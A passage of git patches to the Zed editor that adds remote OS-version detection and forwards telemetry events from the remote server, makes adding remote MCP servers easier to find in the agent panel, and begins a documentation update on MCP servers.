+pub(crate) fn parse_os_version(os: RemoteOs, output: &str) -> Option<String> {
+    let output = output.trim();
+    if output.is_empty() {
+        return None;
+    }
+    match os {
+        RemoteOs::Linux => util::parse_os_release(output),
+        RemoteOs::MacOs => {
+            // `sw_vers -productVersion` prints a single version line.
+            output
+                .lines()
+                .next_back()
+                .map(|line| line.trim().to_string())
+                .filter(|line| !line.is_empty())
+        }
+        RemoteOs::Windows => parse_windows_version(output),
+    }
+}
+
+/// Extracts a `major.minor.build` version from the output of `cmd.exe /c ver`,
+/// e.g. `"Microsoft Windows [Version 10.0.19045.5011]"` -> `"10.0.19045"`.
+///
+/// Scans for the first dotted run of integers (rather than relying on the
+/// surrounding, potentially localized, text) and drops the trailing revision so
+/// the format matches `client::telemetry::os_version` on Windows.
+fn parse_windows_version(output: &str) -> Option<String> {
+    output
+        .split(|c: char| !c.is_ascii_digit() && c != '.')
+        .filter_map(|token| {
+            let parts: Vec<&str> = token.split('.').filter(|part| !part.is_empty()).collect();
+            (parts.len() >= 3 && parts.iter().all(|part| part.parse::<u32>().is_ok()))
+                .then(|| parts[..3].join("."))
+        })
+        .next()
+}
+
 /// Parses the output of `echo $SHELL` to determine the remote shell.
 /// Takes the last line to skip possible shell initialization output.
 fn parse_shell(output: &str, fallback_shell: &str) -> String {
@@ -446,6 +503,48 @@ mod tests {
         assert!(parse_platform("Linux armv7l\n").is_err());
     }
 
+    #[test]
+    fn test_parse_os_version() {
+        // Linux delegates to `util::parse_os_release` (tested there); confirm
+        // the dispatch is wired up.
+        let os_release = "ID=ubuntu\nVERSION_ID=\"24.04\"\n";
+        assert_eq!(
+            parse_os_version(RemoteOs::Linux, os_release),
+            Some("ubuntu 24.04".to_string())
+        );
+
+        // macOS `sw_vers -productVersion` prints a bare version, possibly after
+        // shell initialization noise.
+        assert_eq!(
+            parse_os_version(RemoteOs::MacOs, "15.6.1\n"),
+            Some("15.6.1".to_string())
+        );
+        assert_eq!(
+            parse_os_version(RemoteOs::MacOs, "shell noise\n26.0\n"),
+            Some("26.0".to_string())
+        );
+        assert_eq!(parse_os_version(RemoteOs::MacOs, ""), None);
+
+        // Windows `cmd.exe /c ver`, with the trailing revision dropped to match
+        // the `major.minor.build` format used by local Windows telemetry.
+        assert_eq!(
+            parse_os_version(
+                RemoteOs::Windows,
+                "Microsoft Windows [Version 10.0.19045.5011]\n"
+            ),
+            Some("10.0.19045".to_string())
+        );
+        // Localized output: only the version number is relied upon.
+        assert_eq!(
+            parse_os_version(
+                RemoteOs::Windows,
+                "Microsoft Windows [Versione 10.0.22631.1]"
+            ),
+            Some("10.0.22631".to_string())
+        );
+        assert_eq!(parse_os_version(RemoteOs::Windows, "no version here"), None);
+    }
+
     #[test]
     fn test_parse_shell() {
         assert_eq!(parse_shell("/bin/bash\n", "sh"), "/bin/bash");
diff --git a/crates/remote/src/transport/docker.rs b/crates/remote/src/transport/docker.rs
index 872d1d460ec82c..efefbe8e50d58d 100644
--- a/crates/remote/src/transport/docker.rs
+++ b/crates/remote/src/transport/docker.rs
@@ -25,7 +25,8 @@ use gpui::{App, AppContext, AsyncApp, Task};
 use rpc::proto::Envelope;
 
 use crate::{
-    RemoteClientDelegate, RemoteConnection, RemoteConnectionOptions, RemoteOs, RemotePlatform,
+    RemoteArch, RemoteClientDelegate, RemoteConnection, RemoteConnectionOptions, RemoteOs,
+    RemotePlatform,
     remote_client::{CommandTemplate, Interactive},
     transport::parse_platform,
 };
@@ -57,6 +58,7 @@ pub(crate) struct DockerExecConnection {
     remote_binary_relpath: Option<Arc<RelPath>>,
     connection_options: DockerConnectionOptions,
     remote_platform: Option<RemotePlatform>,
+    os_version: Option<String>,
     path_style: Option<PathStyle>,
     shell: String,
 }
@@ -73,6 +75,7 @@ impl DockerExecConnection {
             remote_binary_relpath: None,
             connection_options,
             remote_platform: None,
+            os_version: None,
             path_style: None,
             shell: "sh".to_owned(),
         };
@@ -93,6 +96,9 @@ impl DockerExecConnection {
         this.remote_platform = Some(remote_platform);
         log::info!("Remote platform discovered: {:?}", this.remote_platform);
 
+        this.os_version = this.discover_os_version(remote_platform.os).await;
+        log::info!("Remote OS version discovered: {:?}", this.os_version);
+
         this.shell = this.discover_shell().await;
         log::info!("Remote shell discovered: {}", this.shell);
 
@@ -171,6 +177,21 @@ impl DockerExecConnection {
         parse_platform(&uname)
     }
 
+    /// Best-effort detection of the container's OS version for telemetry.
+    async fn discover_os_version(&self, os: RemoteOs) -> Option<String> {
+        let (program, args) = super::os_version_command(os);
+        match self
+            .run_docker_exec(program, None, &Default::default(), args)
+            .await
+        {
+            Ok(output) => super::parse_os_version(os, &output),
+            Err(error) => {
+                log::warn!("Failed to determine remote OS version: {error:#}");
+                None
+            }
+        }
+    }
+
     async fn ensure_server_binary(
         &self,
         delegate: &Arc<dyn RemoteClientDelegate>,
@@ -832,6 +853,19 @@ impl RemoteConnection for DockerExecConnection {
         self.path_style.unwrap_or(PathStyle::Posix)
     }
 
+    fn remote_platform(&self) -> RemotePlatform {
+        // Docker containers are always Linux; the platform is populated during
+        // setup, so this fallback is only for the brief pre-detection window.
+        self.remote_platform.unwrap_or(RemotePlatform {
+            os: RemoteOs::Linux,
+            arch: RemoteArch::X86_64,
+        })
+    }
+
+    fn remote_os_version(&self) -> Option<String> {
+        self.os_version.clone()
+    }
+
     fn shell(&self) -> String {
         self.shell.clone()
     }
diff --git a/crates/remote/src/transport/mock.rs b/crates/remote/src/transport/mock.rs
index 01f7579ea56879..3b860ac4e5d7a5 100644
--- a/crates/remote/src/transport/mock.rs
+++ b/crates/remote/src/transport/mock.rs
@@ -292,6 +292,17 @@ impl RemoteConnection for MockRemoteConnection {
         PathStyle::local()
     }
 
+    fn remote_platform(&self) -> crate::RemotePlatform {
+        crate::RemotePlatform {
+            os: crate::RemoteOs::Linux,
+            arch: crate::RemoteArch::X86_64,
+        }
+    }
+
+    fn remote_os_version(&self) -> Option<String> {
+        None
+    }
+
     fn shell(&self) -> String {
         "sh".to_owned()
     }
diff --git a/crates/remote/src/transport/ssh.rs b/crates/remote/src/transport/ssh.rs
index 2beae54f2f5b3f..25946c0b7c03c1 100644
--- a/crates/remote/src/transport/ssh.rs
+++ b/crates/remote/src/transport/ssh.rs
@@ -44,6 +44,7 @@ pub(crate) struct SshRemoteConnection {
     killed: AtomicBool,
     remote_binary_path: Option<Arc<RelPath>>,
     ssh_platform: RemotePlatform,
+    ssh_os_version: Option<String>,
     ssh_path_style: PathStyle,
     ssh_shell: String,
     ssh_shell_kind: ShellKind,
@@ -512,6 +513,14 @@ impl RemoteConnection for SshRemoteConnection {
         self.ssh_path_style
     }
 
+    fn remote_platform(&self) -> RemotePlatform {
+        self.ssh_platform
+    }
+
+    fn remote_os_version(&self) -> Option<String> {
+        self.ssh_os_version.clone()
+    }
+
     fn has_wsl_interop(&self) -> bool {
         false
     }
@@ -757,6 +766,9 @@ impl SshRemoteConnection {
         let ssh_platform = socket.platform(ssh_shell_kind, is_windows).await?;
         log::info!("Remote platform discovered: {:?}", ssh_platform);
 
+        let ssh_os_version = socket.os_version(ssh_platform.os, ssh_shell_kind).await;
+        log::info!("Remote OS version discovered: {:?}", ssh_os_version);
+
         let (ssh_path_style, ssh_default_system_shell) = match ssh_platform.os {
             RemoteOs::Windows => (PathStyle::Windows, ssh_shell.clone()),
             _ => (PathStyle::Posix, String::from("/bin/sh")),
@@ -770,6 +782,7 @@ impl SshRemoteConnection {
             remote_binary_path: None,
             ssh_path_style,
             ssh_platform,
+            ssh_os_version,
             ssh_shell,
             ssh_shell_kind,
             ssh_default_system_shell,
@@ -1411,6 +1424,20 @@ impl SshSocket {
         parse_platform(&output)
     }
 
+    /// Best-effort detection of the remote OS version. Failures are logged and
+    /// result in `None` rather than failing the connection, since this is only
+    /// used for telemetry.
+    async fn os_version(&self, os: RemoteOs, shell: ShellKind) -> Option<String> {
+        let (program, args) = super::os_version_command(os);
+        match self.run_command(shell, program, args, false).await {
+            Ok(output) => super::parse_os_version(os, &output),
+            Err(error) => {
+                log::warn!("Failed to determine remote OS version: {error:#}");
+                None
+            }
+        }
+    }
+
     async fn platform_windows(&self, shell: ShellKind) -> Result<RemotePlatform> {
         let output = self
             .run_command(
diff --git a/crates/remote/src/transport/wsl.rs b/crates/remote/src/transport/wsl.rs
index 1bbbaca2235c0b..21ebdcbd049f9a 100644
--- a/crates/remote/src/transport/wsl.rs
+++ b/crates/remote/src/transport/wsl.rs
@@ -49,6 +49,7 @@ impl From<settings::WslConnection> for WslConnectionOptions {
 pub(crate) struct WslRemoteConnection {
     remote_binary_path: Option<Arc<RelPath>>,
     platform: RemotePlatform,
+    os_version: Option<String>,
     shell: String,
     shell_kind: ShellKind,
     default_system_shell: String,
@@ -77,6 +78,7 @@ impl WslRemoteConnection {
                 os: RemoteOs::Linux,
                 arch: RemoteArch::X86_64,
             },
+            os_version: None,
             shell: String::new(),
             shell_kind: ShellKind::Posix,
             default_system_shell: String::from("/bin/sh"),
@@ -103,6 +105,8 @@ impl WslRemoteConnection {
             .await
             .context("failed detecting platform")?;
         log::info!("Remote platform discovered: {:?}", this.platform);
+        this.os_version = this.detect_os_version().await;
+        log::info!("Remote OS version discovered: {:?}", this.os_version);
         this.remote_binary_path = Some(
             this.ensure_server_binary(&delegate, release_channel, version, cx)
                 .await
@@ -119,6 +123,20 @@ impl WslRemoteConnection {
         parse_platform(&output)
     }
 
+    /// Best-effort detection of the remote OS version for telemetry. Failures
+    /// result in `None` rather than failing the connection.
+    async fn detect_os_version(&self) -> Option<String> {
+        let (program, args) = super::os_version_command(self.platform.os);
+        let program = self.shell_kind.prepend_command_prefix(program);
+        match self.run_wsl_command_with_output(&program, args).await {
+            Ok(output) => super::parse_os_version(self.platform.os, &output),
+            Err(error) => {
+                log::warn!("Failed to determine remote OS version: {error:#}");
+                None
+            }
+        }
+    }
+
     async fn detect_shell(&self) -> Result<String> {
         const DEFAULT_SHELL: &str = "sh";
         match self
@@ -521,6 +539,14 @@ impl RemoteConnection for WslRemoteConnection {
         PathStyle::Posix
     }
 
+    fn remote_platform(&self) -> RemotePlatform {
+        self.platform
+    }
+
+    fn remote_os_version(&self) -> Option<String> {
+        self.os_version.clone()
+    }
+
     fn shell(&self) -> String {
         self.shell.clone()
     }
diff --git a/crates/remote_server/Cargo.toml b/crates/remote_server/Cargo.toml
index 05bebd25fd08bd..66cb46688ec4cf 100644
--- a/crates/remote_server/Cargo.toml
+++ b/crates/remote_server/Cargo.toml
@@ -68,6 +68,7 @@ shellexpand.workspace = true
 smol.workspace = true
 sysinfo.workspace = true
 task.workspace = true
+telemetry.workspace = true
 util.workspace = true
 watch.workspace = true
 worktree.workspace = true
diff --git a/crates/remote_server/src/remote_editing_tests.rs b/crates/remote_server/src/remote_editing_tests.rs
index 8bd3493a9d2fa5..0233057260ae71 100644
--- a/crates/remote_server/src/remote_editing_tests.rs
+++ b/crates/remote_server/src/remote_editing_tests.rs
@@ -182,6 +182,107 @@ async fn test_basic_remote_editing(cx: &mut TestAppContext, server_cx: &mut Test
     });
 }
 
+#[gpui::test]
+async fn test_remote_telemetry_event_forwarding(
+    cx: &mut TestAppContext,
+    server_cx: &mut TestAppContext,
+) {
+    // This mirrors `init_test`, but retains the server-side session so the test
+    // can drive a forwarded telemetry event over the proto channel (as
+    // `init_telemetry_forwarding` does on a real remote server).
+    let server_fs = FakeFs::new(server_cx.executor());
+    server_fs
+        .insert_tree(
+            path!("/code"),
+            json!({ "project1": { "README.md": "# project 1" } }),
+        )
+        .await;
+
+    cx.update(|cx| release_channel::init(semver::Version::new(0, 0, 0), cx));
+    server_cx.update(|cx| release_channel::init(semver::Version::new(0, 0, 0), cx));
+    init_logger();
+
+    let (opts, server_session, _) = RemoteClient::fake_server(cx, server_cx);
+    let http_client = Arc::new(BlockedHttpClient);
+    let node_runtime = NodeRuntime::unavailable();
+    let languages = Arc::new(LanguageRegistry::new(cx.executor()));
+    let proxy = Arc::new(ExtensionHostProxy::new());
+    server_cx.update(HeadlessProject::init);
+    let headless = server_cx.new(|cx| {
+        HeadlessProject::new(
+            crate::HeadlessAppState {
+                session: server_session.clone(),
+                fs: server_fs.clone(),
+                http_client,
+                node_runtime,
+                languages,
+                extension_host_proxy: proxy,
+                startup_time: std::time::Instant::now(),
+            },
+            false,
+            cx,
+        )
+    });
+
+    let ssh = RemoteClient::connect_mock(opts, cx).await;
+    let project = build_project(ssh, cx);
+    project
+        .update(cx, {
+            let headless = headless.clone();
+            |_, cx| cx.on_release(|_, _| drop(headless))
+        })
+        .detach();
+
+    // The remote server forwards a bare `FlexibleEvent` as JSON; mirror that
+    // here by sending the proto message the forwarding task would send.
+    let event_json = json!({
+        "event_type": "fs_watcher_poll",
+        "event_properties": { "path": "/code/project1" },
+    })
+    .to_string();
+    server_session
+        .send(proto::TelemetryEvent {
+            project_id: proto::REMOTE_SERVER_PROJECT_ID,
+            event_json,
+        })
+        .unwrap();
+    cx.executor().run_until_parked();
+
+    let events = project.read_with(cx, |project, _| {
+        project.client().telemetry().queued_events()
+    });
+    assert_eq!(
+        events.len(),
+        1,
+        "the forwarded event should be reported once"
+    );
+    let event = &events[0];
+    assert_eq!(event.event_type, "fs_watcher_poll");
+    // The event's original properties survive the round-trip.
+    assert_eq!(
+        event.event_properties.get("path"),
+        Some(&serde_json::Value::String("/code/project1".to_string()))
+    );
+    // The client stamps the remote host metadata it learned at connection time.
+    // The mock connection reports a Linux/x86_64 host over a "mock" connection.
+    assert_eq!(
+        event.event_properties.get("remote"),
+        Some(&serde_json::Value::Bool(true))
+    );
+    assert_eq!(
+        event.event_properties.get("remote_connection_type"),
+        Some(&serde_json::Value::String("mock".to_string()))
+    );
+    assert_eq!(
+        event.event_properties.get("remote_os_name"),
+        Some(&serde_json::Value::String("Linux".to_string()))
+    );
+    assert_eq!(
+        event.event_properties.get("remote_architecture"),
+        Some(&serde_json::Value::String("x86_64".to_string()))
+    );
+}
+
 async fn do_search_and_assert(
     project: &Entity<Project>,
     query: &str,
diff --git a/crates/remote_server/src/server.rs b/crates/remote_server/src/server.rs
index 51d774f2e6c36c..e00c9173bbf174 100644
--- a/crates/remote_server/src/server.rs
+++ b/crates/remote_server/src/server.rs
@@ -304,6 +304,34 @@ fn init_logging_server(log_file_path: &Path) -> Result<Receiver<Vec<u8>>> {
     Ok(rx)
 }
 
+/// Initializes the telemetry queue on the remote server, forwarding every
+/// emitted event to the connected client over the proto channel.
+///
+/// The remote server cannot upload telemetry itself (it has no logged-in user,
+/// no checksum seed, and no Telemetry instance), so without this its
+/// `telemetry::event!` calls are silently dropped. The client attributes these
+/// events to the remote host using the platform it already detected during
+/// connection setup, so no OS metadata needs to be sent here.
+fn init_telemetry_forwarding(session: AnyProtoClient, cx: &mut App) {
+    let (tx, mut rx) = mpsc::unbounded::<telemetry::Event>();
+    telemetry::init(tx);
+
+    cx.background_spawn(async move {
+        while let Some(event) = rx.next().await {
+            let Some(event_json) = serde_json::to_string(&event).log_err() else {
+                continue;
+            };
+            session
+                .send(proto::TelemetryEvent {
+                    project_id: REMOTE_SERVER_PROJECT_ID,
+                    event_json,
+                })
+                .log_err();
+        }
+    })
+    .detach();
+}
+
 fn handle_crash_files_requests(project: &Entity<HeadlessProject>, client: &AnyProtoClient) {
     client.add_request_handler(
         project.downgrade(),
@@ -639,6 +667,7 @@ pub fn execute_run(
 
         log::info!("gpui app started, initializing server");
         let session = start_server(listeners, log_rx, cx, is_wsl_interop);
+        init_telemetry_forwarding(session.clone(), cx);
         trusted_worktrees::init(HashMap::default(), cx);
 
         GitHostingProviderRegistry::set_global(git_hosting_provider_registry, cx);
diff --git a/crates/util/src/util.rs b/crates/util/src/util.rs
index 3b704e50a531c5..b479660d924f34 100644
--- a/crates/util/src/util.rs
+++ b/crates/util/src/util.rs
@@ -53,6 +53,29 @@ pub fn truncate(s: &str, max_chars: usize) -> &str {
     }
 }
 
+/// Parses the contents of an `os-release` file (as found at `/etc/os-release`
+/// and described by the systemd spec) into a human-readable string such as
+/// `"ubuntu 24.04"`, combining the `ID` and `VERSION_ID` fields.
+///
+/// Returns `None` if no `ID` field is present. When `VERSION_ID` is absent
+/// (e.g. on rolling releases), only the `ID` is returned.
+pub fn parse_os_release(content: &str) -> Option<String> {
+    let mut id = None;
+    let mut version_id = None;
+    for line in content.lines() {
+        match line.split_once('=') {
+            Some(("ID", value)) => id = Some(value.trim_matches('"')),
+            Some(("VERSION_ID", value)) => version_id = Some(value.trim_matches('"')),
+            _ => {}
+        }
+    }
+    let id = id?;
+    Some(match version_id {
+        Some(version) => format!("{id} {version}"),
+        None => id.to_string(),
+    })
+}
+
 /// Removes characters from the end of the string if its length is greater than `max_chars` and
 /// appends "..." to the string. Returns string unchanged if its length is smaller than max_chars.
 pub fn truncate_and_trailoff(s: &str, max_chars: usize) -> String {
@@ -792,6 +815,23 @@ pub fn normalize_path(path: &Path) -> PathBuf {
 mod tests {
     use super::*;
 
+    #[test]
+    fn test_parse_os_release() {
+        let os_release =
+            "NAME=\"Ubuntu\"\nID=ubuntu\nVERSION_ID=\"24.04\"\nPRETTY_NAME=\"Ubuntu 24.04 LTS\"\n";
+        assert_eq!(
+            parse_os_release(os_release),
+            Some("ubuntu 24.04".to_string())
+        );
+
+        // VERSION_ID may be absent (e.g. rolling releases like Arch).
+        assert_eq!(parse_os_release("ID=arch\n"), Some("arch".to_string()));
+
+        // Without an ID there is nothing usable to report.
+        assert_eq!(parse_os_release("VERSION_ID=1\n"), None);
+        assert_eq!(parse_os_release(""), None);
+    }
+
     #[test]
     fn test_extend_sorted() {
         let mut vec = vec![];
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index 1b508163955103..f1c9984334a240 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -10435,8 +10435,6 @@ async fn open_remote_project_inner(
     }
 
     let workspace = window.update(cx, |multi_workspace, window, cx| {
-        telemetry::event!("SSH Project Opened");
-
         let new_workspace = cx.new(|cx| {
             let mut workspace =
                 Workspace::new(Some(workspace_id), project, app_state.clone(), window, cx);

From 61ce210ec274351f0bbb7fc8fc9637db83a6de3c Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Tue, 23 Jun 2026 10:01:19 +0200
Subject: [PATCH 048/772] Make adding a remote MCP server more discoverable
 (#59359)

# Objective

The reasoning for this is that it is currently rather hard to find the
option to add a remote MCP in the app - there is no hint that this is
supported and (without using the command palette) requires up to 5
clicks before the proper modal is shown.

The idea for this here is to make adding a remote server the default and
also make it more visibile throughout the app - the `AddContextServer`
action will now default to remote and this also adds two context menu
entries to directly open the modal with the remote option preselected.

Open for feedback - I admit this might not be the most optiomal
solution, but at least it surfaces the availablilty better and
(hopefully) makes adding these easier.

Release Notes:

- Added an entry to the agent panel options menu to quickly add a remote
MCP server
---
 crates/agent_ui/src/agent_configuration.rs    |  13 +-
 .../configure_context_server_modal.rs         | 113 +++++++++++-------
 crates/agent_ui/src/agent_panel.rs            |   3 +-
 crates/agent_ui/src/agent_ui.rs               |  45 ++++++-
 4 files changed, 127 insertions(+), 47 deletions(-)

diff --git a/crates/agent_ui/src/agent_configuration.rs b/crates/agent_ui/src/agent_configuration.rs
index 6ab59856465cbd..6164fcf72bc4d7 100644
--- a/crates/agent_ui/src/agent_configuration.rs
+++ b/crates/agent_ui/src/agent_configuration.rs
@@ -538,7 +538,18 @@ impl AgentConfiguration {
                     Some(ContextMenu::build(window, cx, |menu, _window, _cx| {
                         menu.entry("Add Custom Server", None, {
                             |window, cx| {
-                                window.dispatch_action(crate::AddContextServer.boxed_clone(), cx)
+                                window.dispatch_action(
+                                    crate::AddContextServer::local().boxed_clone(),
+                                    cx,
+                                )
+                            }
+                        })
+                        .entry("Add Remote Server", None, {
+                            |window, cx| {
+                                window.dispatch_action(
+                                    crate::AddContextServer::remote().boxed_clone(),
+                                    cx,
+                                )
                             }
                         })
                         .entry("Install from Extensions", None, {
diff --git a/crates/agent_ui/src/agent_configuration/configure_context_server_modal.rs b/crates/agent_ui/src/agent_configuration/configure_context_server_modal.rs
index 5ccc901b4a451a..5ceb13d594c84e 100644
--- a/crates/agent_ui/src/agent_configuration/configure_context_server_modal.rs
+++ b/crates/agent_ui/src/agent_configuration/configure_context_server_modal.rs
@@ -31,10 +31,12 @@ use ui::{
 use util::ResultExt as _;
 use workspace::{ModalView, Workspace};
 
-use crate::AddContextServer;
+use crate::{AddContextServer, ContextServerType};
 
 enum ConfigurationTarget {
-    New,
+    New {
+        server_type: ContextServerType,
+    },
     Existing {
         id: ContextServerId,
         command: ContextServerCommand,
@@ -56,11 +58,11 @@ enum ConfigurationTarget {
 enum ConfigurationSource {
     New {
         editor: Entity<Editor>,
-        is_http: bool,
+        server_type: ContextServerType,
     },
     Existing {
         editor: Entity<Editor>,
-        is_http: bool,
+        server_type: ContextServerType,
     },
     Extension {
         id: ContextServerId,
@@ -106,9 +108,17 @@ impl ConfigurationSource {
         }
 
         match target {
-            ConfigurationTarget::New => ConfigurationSource::New {
-                editor: create_editor(context_server_input(None), jsonc_language, window, cx),
-                is_http: false,
+            ConfigurationTarget::New { server_type } => ConfigurationSource::New {
+                editor: create_editor(
+                    match server_type {
+                        ContextServerType::Remote => context_server_http_input(None),
+                        ContextServerType::Local => context_server_input(None),
+                    },
+                    jsonc_language,
+                    window,
+                    cx,
+                ),
+                server_type,
             },
             ConfigurationTarget::Existing { id, command } => ConfigurationSource::Existing {
                 editor: create_editor(
@@ -117,7 +127,7 @@ impl ConfigurationSource {
                     window,
                     cx,
                 ),
-                is_http: false,
+                server_type: ContextServerType::Local,
             },
             ConfigurationTarget::ExistingHttp {
                 id,
@@ -131,7 +141,7 @@ impl ConfigurationSource {
                     window,
                     cx,
                 ),
-                is_http: true,
+                server_type: ContextServerType::Remote,
             },
 
             ConfigurationTarget::Extension {
@@ -169,9 +179,15 @@ impl ConfigurationSource {
 
     fn output(&self, cx: &mut App) -> Result<(ContextServerId, ContextServerSettings)> {
         match self {
-            ConfigurationSource::New { editor, is_http }
-            | ConfigurationSource::Existing { editor, is_http } => {
-                if *is_http {
+            ConfigurationSource::New {
+                editor,
+                server_type,
+            }
+            | ConfigurationSource::Existing {
+                editor,
+                server_type,
+            } => match *server_type {
+                ContextServerType::Remote => {
                     parse_http_input(&editor.read(cx).text(cx)).map(|(id, url, auth, oauth)| {
                         (
                             id,
@@ -184,7 +200,8 @@ impl ConfigurationSource {
                             },
                         )
                     })
-                } else {
+                }
+                ContextServerType::Local => {
                     parse_input(&editor.read(cx).text(cx)).map(|(id, command)| {
                         (
                             id,
@@ -196,7 +213,7 @@ impl ConfigurationSource {
                         )
                     })
                 }
-            }
+            },
             ConfigurationSource::Extension {
                 id,
                 editor,
@@ -440,7 +457,7 @@ impl ConfigureContextServerModal {
             ConfigurationTarget::Existing { id, .. }
             | ConfigurationTarget::ExistingHttp { id, .. }
             | ConfigurationTarget::Extension { id, .. } => Some(id),
-            ConfigurationTarget::New => None,
+            ConfigurationTarget::New { .. } => None,
         }) else {
             return State::Idle;
         };
@@ -474,13 +491,14 @@ impl ConfigureContextServerModal {
         _cx: &mut Context<Workspace>,
     ) {
         workspace.register_action({
-            move |_workspace, _: &AddContextServer, window, cx| {
+            move |_workspace, action: &AddContextServer, window, cx| {
                 let workspace_handle = cx.weak_entity();
                 let language_registry = language_registry.clone();
+                let server_type = action.context_server_type;
                 window
                     .spawn(cx, async move |cx| {
                         Self::show_modal(
-                            ConfigurationTarget::New,
+                            ConfigurationTarget::New { server_type },
                             language_registry,
                             workspace_handle,
                             cx,
@@ -580,7 +598,7 @@ impl ConfigureContextServerModal {
                         ConfigurationTarget::Existing { id, .. } => Some(id.clone()),
                         ConfigurationTarget::ExistingHttp { id, .. } => Some(id.clone()),
                         ConfigurationTarget::Extension { id, .. } => Some(id.clone()),
-                        ConfigurationTarget::New => None,
+                        ConfigurationTarget::New { .. } => None,
                     },
                     source: ConfigurationSource::from_target(
                         target,
@@ -859,7 +877,9 @@ impl ConfigureContextServerModal {
 
     fn render_tab_bar(&self, cx: &mut Context<Self>) -> Option<AnyElement> {
         let is_http = match &self.source {
-            ConfigurationSource::New { is_http, .. } => *is_http,
+            ConfigurationSource::New { server_type, .. } => {
+                *server_type == ContextServerType::Remote
+            }
             _ => return None,
         };
 
@@ -870,14 +890,15 @@ impl ConfigureContextServerModal {
                 .p_1()
                 .text_sm()
                 .border_b_1()
-                .when(active, |this| {
-                    this.border_color(cx.theme().colors().border_focused)
-                })
-                .when(!active, |this| {
-                    this.border_color(gpui::transparent_black())
-                        .text_color(cx.theme().colors().text_muted)
-                        .hover(|s| s.text_color(cx.theme().colors().text))
-                })
+                .when_else(
+                    active,
+                    |this| this.border_color(cx.theme().colors().border_focused),
+                    |this| {
+                        this.border_color(gpui::transparent_black())
+                            .text_color(cx.theme().colors().text_muted)
+                            .hover(|s| s.text_color(cx.theme().colors().text))
+                    },
+                )
                 .child(label)
         };
 
@@ -890,27 +911,33 @@ impl ConfigureContextServerModal {
                 .border_color(cx.theme().colors().border.opacity(0.5))
                 .child(
                     tab("Local", !is_http).on_click(cx.listener(|this, _, window, cx| {
-                        if let ConfigurationSource::New { editor, is_http } = &mut this.source {
-                            if *is_http {
-                                *is_http = false;
-                                let new_text = context_server_input(None);
-                                editor.update(cx, |editor, cx| {
-                                    editor.set_text(new_text, window, cx);
-                                });
-                            }
+                        if let ConfigurationSource::New {
+                            editor,
+                            server_type,
+                        } = &mut this.source
+                            && *server_type != ContextServerType::Local
+                        {
+                            *server_type = ContextServerType::Local;
+                            let new_text = context_server_input(None);
+                            editor.update(cx, |editor, cx| {
+                                editor.set_text(new_text, window, cx);
+                            });
                         }
                     })),
                 )
                 .child(
                     tab("Remote", is_http).on_click(cx.listener(|this, _, window, cx| {
-                        if let ConfigurationSource::New { editor, is_http } = &mut this.source {
-                            if !*is_http {
-                                *is_http = true;
-                                let new_text = context_server_http_input(None);
-                                editor.update(cx, |editor, cx| {
-                                    editor.set_text(new_text, window, cx);
-                                });
-                            }
+                        if let ConfigurationSource::New {
+                            editor,
+                            server_type,
+                        } = &mut this.source
+                            && *server_type != ContextServerType::Remote
+                        {
+                            *server_type = ContextServerType::Remote;
+                            let new_text = context_server_http_input(None);
+                            editor.update(cx, |editor, cx| {
+                                editor.set_text(new_text, window, cx);
+                            });
                         }
                     })),
                 )
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index da5fa0ce17da7f..6920e9b75ab855 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -5674,7 +5674,8 @@ impl AgentPanel {
                         if !showing_terminal {
                             menu = menu
                                 .header("MCP Servers")
-                                .action("Add Custom Server…", Box::new(AddContextServer))
+                                .action("Add Custom Server…", Box::new(AddContextServer::local()))
+                                .action("Add Remote Server…", Box::new(AddContextServer::remote()))
                                 .action(
                                     "Install New Servers…",
                                     Box::new(zed_actions::Extensions {
diff --git a/crates/agent_ui/src/agent_ui.rs b/crates/agent_ui/src/agent_ui.rs
index 6df1d366ea8e95..76843765317e15 100644
--- a/crates/agent_ui/src/agent_ui.rs
+++ b/crates/agent_ui/src/agent_ui.rs
@@ -196,8 +196,6 @@ actions!(
         CycleFavoriteModels,
         /// Expands the message editor to full size.
         ExpandMessageEditor,
-        /// Adds a context server to the configuration.
-        AddContextServer,
         /// Archives the currently selected thread.
         ArchiveSelectedThread,
         /// Removes the currently selected thread.
@@ -352,6 +350,49 @@ pub struct ToggleCommandPattern {
 #[serde(deny_unknown_fields)]
 pub struct NewThread;
 
+/// The kind of context server to configure when adding a new one.
+#[derive(Debug, Default, Clone, Copy, PartialEq, Eq, Deserialize, JsonSchema)]
+#[serde(rename_all = "snake_case")]
+pub enum ContextServerType {
+    /// A context server that runs locally via stdin/stdout.
+    #[default]
+    Local,
+    /// A context server that is connected to over HTTP.
+    Remote,
+}
+
+/// Adds a context server to the configuration.
+#[derive(Clone, PartialEq, Deserialize, JsonSchema, Action)]
+#[action(namespace = agent)]
+#[serde(deny_unknown_fields)]
+pub struct AddContextServer {
+    /// The kind of context server to add.
+    #[serde(default)]
+    pub context_server_type: ContextServerType,
+}
+
+impl Default for AddContextServer {
+    fn default() -> Self {
+        Self::local()
+    }
+}
+
+impl AddContextServer {
+    /// Returns an action that adds a local (stdin/stdout) context server.
+    pub fn local() -> Self {
+        Self {
+            context_server_type: ContextServerType::Local,
+        }
+    }
+
+    /// Returns an action that adds a remote (HTTP) context server.
+    pub fn remote() -> Self {
+        Self {
+            context_server_type: ContextServerType::Remote,
+        }
+    }
+}
+
 /// Creates a new external agent conversation thread.
 #[derive(Clone, PartialEq, Deserialize, JsonSchema, Action)]
 #[action(namespace = agent)]

From 153f709a185078d3579baee9e0738be56f3ba345 Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Tue, 23 Jun 2026 10:03:24 +0200
Subject: [PATCH 049/772] docs: Improve documentation around MCP servers
 (#59380)

Release Notes:

- N/A
---
 docs/src/ai/mcp.md                    | 5 ++---
 docs/src/extensions/mcp-extensions.md | 2 ++
 2 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/docs/src/ai/mcp.md b/docs/src/ai/mcp.md
index 873044bbd0b382..30317dfad968ff 100644
--- a/docs/src/ai/mcp.md
+++ b/docs/src/ai/mcp.md
@@ -51,7 +51,7 @@ Popular servers available as an extension include:
 ### As Custom Servers
 
 Creating an extension is not the only way to use MCP servers in Zed.
-You can connect them by adding their commands directly to your settings file ([how to edit](../configuring-zed.md#settings-files)), like so:
